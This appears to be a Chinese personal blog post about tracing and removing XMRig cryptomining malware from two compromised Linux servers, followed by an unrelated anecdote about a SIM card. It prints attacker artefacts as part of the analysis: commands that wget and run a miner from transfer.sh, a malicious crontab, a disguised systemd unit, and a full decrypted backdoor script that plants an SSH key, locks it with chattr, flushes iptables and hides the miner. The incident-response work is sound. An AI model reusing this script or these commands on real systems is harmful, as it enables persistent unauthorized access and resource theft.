记两起挖矿木马排查

还好是挖矿木马,要是勒索软件那就凉凉了

Posted by Les1ie on May 18, 2021

溯源 fdl 的机器

2021年5月17日下午,发现有人爆破我服务器的口令。

image-20210517210905611

查了下是 fdl 的,联系他询问情况。

登录上去看到有个用户 127.0.0.1登录的,一看就知道是映射到公网被人登录了

确认该账号无人使用

修改密码然后踢出用户

CPU挖矿

image-20210517171733685

killall xmrig一键停止挖矿程序

image-20210517171728561

找到挖矿程序本体

image-20210517172121565

/var/tmp/路径下有疑似扫描的程序

image-20210517172255478

查看 lpz用户启动的程序

lpz       9845     1  0 5月16 ?       00:00:00 /usr/sbin/sshd f bios.txt passretea 22 cd /var/tmp ; rm -rf xmrig ; wget http://transfer.sh/zA1eg/xmrig ; chmod +x xmrig ; ./xmrig
lpz      10361     1  0 16:00 ?        00:00:00 /usr/sbin/sshd f bios.txt passretea 22 cd /var/tmp ; cd ..o ; ./xmrig
lpz      10628     1  0 16:00 ?        00:00:00 /usr/sbin/sshd f bios.txt passretea 22 cd /var/tmp ; cd ..o ; ./xmrig
lpz      11418     1  0 5月16 ?       00:00:00 /usr/sbin/sshd f bios.txt passretea 22 cd /var/tmp ; rm -rf xmrig ; wget http://transfer.sh/zA1eg/xmrig ; chmod +x xmrig ; ./xmrig
lpz      12349     1  0 5月16 ?       00:00:00 /usr/sbin/sshd f bios.txt passretea 22 cd /var/tmp ; rm -rf xmrig ; wget http://transfer.sh/zA1eg/xmrig ; chmod +x xmrig ; ./xmrig
lpz      13160     1  0 5月15 ?       00:00:00 /usr/sbin/sshd f bios.txt passretea 22 cd /var/tmp ; rm -rf ..o ; mkdir ..o ; cd ..o ; wget http://transfer.sh/GgVQs/xmrig ; chmod +x xmrig ; ./xmrig
lpz      13462     1  0 16:10 ?        00:00:00 /usr/sbin/sshd f bios.txt passretea 22 cd /var/tmp ; cd ..o ; ./xmrig
lpz      13633     1  0 5月16 ?       00:00:00 /usr/sbin/sshd f bios.txt passretea 22 cd /var/tmp ; rm -rf xmrig ; wget http://transfer.sh/zA1eg/xmrig ; chmod +x xmrig ; ./xmrig

image-20210517172830380

找到 bios.txt

image-20210517173105061

内容如下

image-20210517173037790

查看建立的ssh,发现正在爆破口令

停止该用户的所有对外发起的爆破攻击

image-20210517183217689

祭出很久以前写的一个非常弱鸡的检查程序

查看成功登录的记录,记录文件缺失不少,可能是攻击者手抖删了的

image-20210517183738389

目录里面翻了翻,找到了爆破成功的口令

开机自启动爆破ssh的程序

image-20210517200731869

/var/spool/cron/crontabs/lpz 文件内容,注释所有内容

# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (/var/tmp/.5p4rk3l5 installed on Mon May  3 14:22:22 2021)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
@daily /var/tmp/./.b4nd1d0
@reboot /var/tmp/./.black > /dev/null 2>&1 & disown
* * * * * /var/tmp/./.black > /dev/null 2>&1 & disown
@monthly /var/tmp/./.black  > /dev/null 2>&1 & disown

问题不大,程序起不来了,保留现场,留给 fdl 了,我就溜了。

然后似乎应该联系一下受害者,于是在某个群里说了下受害者IP :)

出现受害者,着实太惨了

事情告一段落,简单记录了下流程,fdl 建议放到内网,让其他人排查的时候多一点思路,于是我放到内网了,不过似乎打点马赛克还可以水一篇我自己的博客(笑

简单的对抗

曾大佬的同学服务器中毒,遇到挖矿木马。

昨天他们搞了快一天还没搞定,我昨天下午给他说让他们把ssh口令拿来,结果曾大佬十分羞涩(笑),一直没有要口令,今早来的时候看到曾大佬还在帮对面分析。

不过,我昨天晚饭的时候刚溯源了一台机器(前面 fdl 的那台),我问到了曾大佬他们的IP地址,再去昨天溯源的机器里面拖下来的文件对比,找到了他们服务器的密码 :)

试了下,发现他们已经把密码改了 :(

然后10:30的时候,曾大佬终于问到了密码,又是一个不太弱的弱口令,还好,查了下没有在rockyou.txt里面。

登上去一看,好家伙,我昨天溯源的那台机器把这台爆破成功了,还反复登录了好多次。来了两波挖矿的攻击者,大胆想象第二波把第一波攻击者的挖矿木马停了运行自己的,然后第一波回来了又把程序改回来了,结果没想到第二波做了对抗,第一波被迫和第二波共享CPU,果然挖矿的最大敌人是服务器上其他挖矿的人。(希望不是披着挖矿外衣的APT攻击)

mail列表可以看到提示 /usr/bin/sa/sa1文件不存在,是因为前面的排查的同学已经把这个恶意路径重命名了,程序启动不了。那就搜索哪里出现了这个可疑路径。

使用strings命令在所有文本和二进制文件中查找这个字符串。

find -print0|xargs -0  strings |grep "/usr/lib64/sa"

搜索了之后找到文件,初步分析此文件和生成的恶意程序 /usr/bin/ 没有直接关系,线索暂时中断。

ps -ef 可以看到启动了一个进程 /usr/bin/随机字符串,发送kill -9之后立刻重新启动,启动之后这个程序会删除本身,以达到隐藏自己的目的。父进程pid1,可以知道是systemd启动的恶意进程。

楼上大佬写了脚本无限循环kill掉这个

继续寻找到底谁在搞事。

  1. 通过父进程pid1我们可以推测程序利用了 systemd重启恶意程序。

  2. 通过程序无限重启我们可以推测service的配置文件里面写了Restart=always这个重启策略。

于是挨个去排查 /etc/systemd/里面注册的 Restart=always的配置文件。找了半天实在眼花,也用了正常工作的CentOSsystemd服务和此服务器的做对比,区别挺大,没有找到明显异常,此路不通。 :)

查看下启动的 service,还是眼花。此路不通。

systemctl list-unit-files|grep enabled

又生一计,给他发个 SEGV让他异常退出,看看有没有coredump,从coredump分析。因为似乎并没有配置coredump的策略,不过也不是不能用,限于较懒+不是我的服务器,不能乱搞。程序异常退出后,在 /var/spool/abrt可以看到正在保存过程中的 coredump文件,等他dump完成之后会移动到其他地方,拼个手速赶在系统删掉他之前把他复制一份。

发SEGV让程序停下来,保存coredump现场

查看 environ可以看到里面有该文件的路径 /usr/bin/ab06174bf1和另一个路径 /usr/sbin/route_forbidden-close

早知道看 environ的话我为啥还要费力的给他发SEGV让他段错误,直接去/proc/翻就行了55555 :)

过滤该文件内的字符串,可以看到 upx 字样,正常程序肯定不会用upx的。可能这也是逃过我们刚刚的find+strings组合的原因了。

然后把文件拖下来,本机upx脱壳看看

好的,就是upx的了,送给曾大佬分析一波。

网上搜一下这个文件名字符串,可以看到有且仅有三条结果,内容一样

点进去一看,好家伙,症状完全一致

https://blog.csdn.net/qq_36270681/article/details/115366550

而后直接找到了

cat /usr/lib/systemd/system/pmapx_start_2.service

#  This file is part of systemd.
#
#  systemd is free software; you can redistribute it and/or modify it
#  under the terms of the GNU Lesser General Public License as published by
#  the Free Software Foundation; either version 2.1 of the License, or
#  (at your option) any later version.
#
# Entries in this file show the compile time defaults.
# You can change settings by editing this file.
# Defaults can be restored by simply deleting this file.
#
# See resolved.conf(5) for details

[Unit]
Description=System function loader.

[Service]
Type=forking
GuessMainPID=no
Restart=always
RestartSec=10
ExecStart=-/usr/sbin/route_forbidden-close

[Install]
WantedBy=multi-user.target

这家伙隐藏的挺好,要不是你用upx加壳,我可能还真找不到你了 :)

找到凶手后,禁言套餐小黑屋套餐送上

systemctl disable pmapx_start_2
systemctl stop pmapx_start_2

世界瞬间安静下来。

再看看ps -ef|grep /usr/bin,没有异常的那个进程了,CPU负载也降到0了。

收工。

曾大佬过来问我怎么找到这个 upx 加壳的文件的,想了想我感觉可以水一篇博客,帮助大家分析这个做了一点点对抗的挖矿木马。毕竟这个样本似乎刚出来不久,网上没找到太多的资料。可能有关联词的部分我截图加文本形式写到正文里面了, 做个 SEO 让搜索引擎索引一下。

分析恶意文件

不愧是 NESE 的大佬,曾大佬分分钟把恶意文件逆了。

这其实是个shc加密的shell脚本,可以解密,IDA里面也能直接看到 shell 的源码。曾大佬说他还写了个公钥进去,我们赶紧登录上去,果然,公钥就在那里,仿佛在嘲笑我们百密99疏,这么明显的东西没有去关注他。其实也不一定容易发现这个有问题,这台电脑很多个人在用,可能会以为是其他同学写的。

对比一下字符串,和解密出来的shell里面内容一样,立刻干掉他。我回到我的工位准备上去耍耍,事情变得有趣起来了。

曾大佬叫我说这个文件怎么改不了,我过去一看, :w 不能保存,:w! 也不行,看起来像是用了chattr添加了只读属性。

退出来一看,还真是。

好家伙,还留了一手。

问题不大,我是root啊,一波 chattr -i去掉只读,然后覆盖掉里面的内容,问题解决。当时解决这个问题的时候还没有仔细分析 shell 脚本,看到写了公钥就直接去服务器了,往后面的shell脚本里面是能看到具体的地方的。

一个问题解决了,回来继续分析 shell代码。

解密之后代码如下

#!/bin/bash
### Functii / Variabile ###
random_name="$(openssl rand -hex 5)"
locatie_miner_default="/usr/sbin/rmt_remount-open"
locatie_pid="/usr/local/share/.logfile"
sshkey="ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAoRh5CpR0h90JlvwmaVUv7wkzp/D2dqs9v9jpR0XVzJOMTafumdQYNHgWpfXd8N8Er01aYeZfe8070bNwNHgueubH96beSEs3gPtIpcrpDMtzRDHkieUlVwyLfbJxXgYWjikuQtn8HNU21hJ5BIUqLKSKAJ1LvPY3O6QVrQwBPbKaIkdbbKDfAYgBRYvCS6n9wvqyTHmN4Yk/CPW4Y489rvffuxGD+NzdX0gfUqu8+YcC8gPV7RcFsqrXMssKHaEg/XSMiuzRqNOy4SzXAM5Rxgst8ff6v9hCR5kx5QbGuIwS4DseWymEjs4YqgXAT5THV6baXG6Tf5utfzDxoCAM0w== raducu"
########################################################
if [ -f /usr/sbin/lib23fr ]; then
	static=/usr/sbin/lib23fr
else
	static=cp
fi

if [ -f /usr/sbin/chattr_bakv2 ]; then
	static2=/usr/sbin/chattr_bakv2
else
	static2=chattr
fi

if [ -f /usr/sbin/lodosir ]; then
	static3=/usr/sbin/lodosir
else
	static3=rm
fi
########################################################

permisiuni_logs(){
	$static2 -i -a -j -t -d -u /usr
	$static2 -i -a -j -t -d -u /usr/bin
	$static2 -i -a -j -t -d -u /usr/local
	$static2 -i -a -j -t -d -u /usr/local/share
	$static2 -i -a -j -t -d -u $locatie_pid
	chmod +x $locatie_pid
}
######
sshkeyset() {
	if [ $(id -u) = 0 ]; then
		if [ -f "/root/.ssh/authorized_keys" ]; then
			if ! cat /root/.ssh/authorized_keys | grep -q "${sshkey}" ; then
				$static2 -i -a -j -t -d -u /root ; $static2 -i -a -j -t -d -u /root/.ssh ; $static2 -i -a -j -t -d -u /root/.ssh/authorized_keys
				echo $sshkey > "/root/.ssh/authorized_keys"
				chmod 600 /root/.ssh/authorized_keys
				$static2 +i /root/.ssh/authorized_keys
			else
				:
			fi
		else
			if [ -d "/root/.ssh" ]; then
				$static2 -i -a -j -t -d -u /root/.ssh
				echo $sshkey > "/root/.ssh/authorized_keys"
				chmod 600 /root/.ssh/authorized_keys
				$static2 +i /root/.ssh/authorized_keys
			else
				$static2 -i -a -j -t -d -u /root
				mkdir "/root/.ssh" 
				echo $sshkey > "/root/.ssh/authorized_keys"
				chmod 600 /root/.ssh/authorized_keys
				$static2 +i /root/.ssh/authorized_keys
			fi
		fi
	fi
}
######
scoatem_ports(){
	iptables -F ; iptables --flush ; echo "nameserver 8.8.8.8"> /etc/resolv.conf
}
######
kulkat() {
	if [ -f /usr/bin/config.json ]; then
		$static2 -i -a -j -t -d -u /usr/bin/config.json
		rm -rf /usr/bin/config.json
	fi
}
######
functie_on(){
	$static2 -i -a -j -t -d -u /usr/bin
	$static2 -i -a -j -t -d -u /usr
	$static $locatie_miner_default /usr/bin/$random_name
	/usr/bin/$random_name > /dev/null 2>&1 & disown
	echo $random_name > $locatie_pid
	$static3 -rf /usr/bin/$random_name
}
######
### End of Functii / Varibile ###
## aici incepe tot codu cica
permisiuni_logs
sshkeyset
scoatem_ports
kulkat
functie_on

代码对抗的意图很明显,写了个公钥覆盖掉已有的 authorized_key,然后chattr设定只读。

他还有个 /usr/sbin/chattr_bakv2 ,推测攻击者在某些地方会把系统原有的 chattr换个名字,让管理员上去排查的时候没有chattr可用,好家伙,直呼内行。

/usr/sbin/rmt_remount-open 就是挖矿程序的本体了,先把挖矿程序复制到 /usr/bin/$random_name,然后启动挖矿程序,删除掉挖矿程序。由于shell脚本本身是 systemd启动的,我们停止了挖矿程序后 systemd又会执行一遍这个脚本,陷入无尽的循环。

functie_on(){
	$static2 -i -a -j -t -d -u /usr/bin
	$static2 -i -a -j -t -d -u /usr
	$static $locatie_miner_default /usr/bin/$random_name
	/usr/bin/$random_name > /dev/null 2>&1 & disown
	echo $random_name > $locatie_pid
	$static3 -rf /usr/bin/$random_name
}

但是又有一个问题,systemd关心的是这个 shell脚本的状态,shell脚本执行了 /usr/bin/$random_name > /dev/null 2>&1 & disown就跑路了,disown参数把这个进程从 jobs中移除了,即使退出了shell也不会影响他执行。那么,我们给 /usr/bin/$random_name发送了 kill -9之后,他的脚本如何发现这个进程已经退出了然后重新启动的呢?我们发送 kill -i不会影响这个shell脚本的执行的。

后记

  1. 两天时间溯源两台机器,甚至有点好玩,无聊的研究生活里面的一点乐趣了(打乒乓球、羽毛球、恰火锅也很快乐) :)
  2. 溯源的时候千万不要把攻击者钱包的地址改成自己的然后就不管了,这样攻击者的程序会自动在内网扩散然后上千个CPU帮你挖 xmr ,还有可能吃国家饭 :)
  3. 不要把 ssh 映射到公网了,虽然你的口令可能比较强,但是其他用户可能是弱口令
  4. 不要用弱口令, root:123456这类口令基本是白给的
  5. 不只是 ssh 容易被攻击, redis 未授权,java框架的各种反序列化分分钟 getshell
  6. 挖矿木马已经是极其文明讲理的木马了,如果对方是勒索软件、APT攻击者,那么后果就严重了 :)
  7. 建议攻击者下次还是劫持 getdents 这类系统调用来隐藏自己,直接删除自己这个技术含量不太高,PS一下子就看到了
  8. fa les duo ma laki

碎碎念

昨天移动给我发短信,说我移动号卡行为异常,让我登录移动掌厅或者去营业厅核验。拜托查准率高一点好不好,我就收个快递短信,每天两点一线,用来上个网,怎么就命中断卡行动恶意行为监测的特征了(希望这个特征不要被诈骗分子发现了,虽然我把它写出来了233333)

此时我的手机已经变成了2G网络,只能打电话不能上网了。还好我还有一张卡可以凑合续命。:)

下载移动掌厅,点击客服,他提示我可能的原因,并且让我 24h 内通过移动公众号或者营业厅核验,有中间商赚差价,直接抽成 29/30*100%=96.7%,比黄四郎抽的还多 :)

看了下住的地方旁边有个营业厅,今天早晨8:30走过去,担心去早了没开门。

他给我说关注北京反诈公众号可以操作。

我给他说移动短信让我到营业厅核验。

他给我说他不是移动自己的营业厅,让我去另一个地方,而这个地方就是我小区楼下的营业厅,只是地图上没有。

我说好吧,谢谢您嘞。

于是我又回到了小区外面,一看营业厅上面写的 10:00-18:00 营业,而我是 996 的打工人,意味着我只有周日才能有时间来了,先用另一张卡凑合续命吧。

准备走的时候看到个70来岁的老大爷和老伴一起来,老大爷看了看那个牌子,给老伴说 10:00 才开门,他老伴说那待会儿再来吧。啊,我也想退休,真好,还能有时间去营业厅,996的人很久没看过日落了。

此时已经快9点了,打工人得快点去打卡,不然就迟到了 :) 等了几分钟公交车来了,车上有点热,人挤人,是生活的味道。国际惯例,豆浆油条,豆浆不要糖,吃完去打卡,当然,最后肯定是迟到了。

中午午饭过后,我给10086打了电话。

10086说查了一下我这个卡确实上是有收到断卡行动的通知的。看起来这个话务员似乎是看的我收短信的记录而不是系统里面查询的,因为他问了我什么时候收到的短信 :)

他说查询了我这个号卡,目前是正常使用的,让我卡不能用了之后再给他打电话。

我说卡不能用了我怎么给10086打电话 :)

他说不影响打10086的,并且目前这张卡是正常使用的。

我说着不正常呀,收到那个短信之后一直是2G信号,不让我上网了。

他又说了一遍现在是正常使用的。

我再看了看手机,移动号卡变成4G信号了 :)

行吧,就这样呐,怎么解决的就不管了,能用就行,问题告一段落。 :)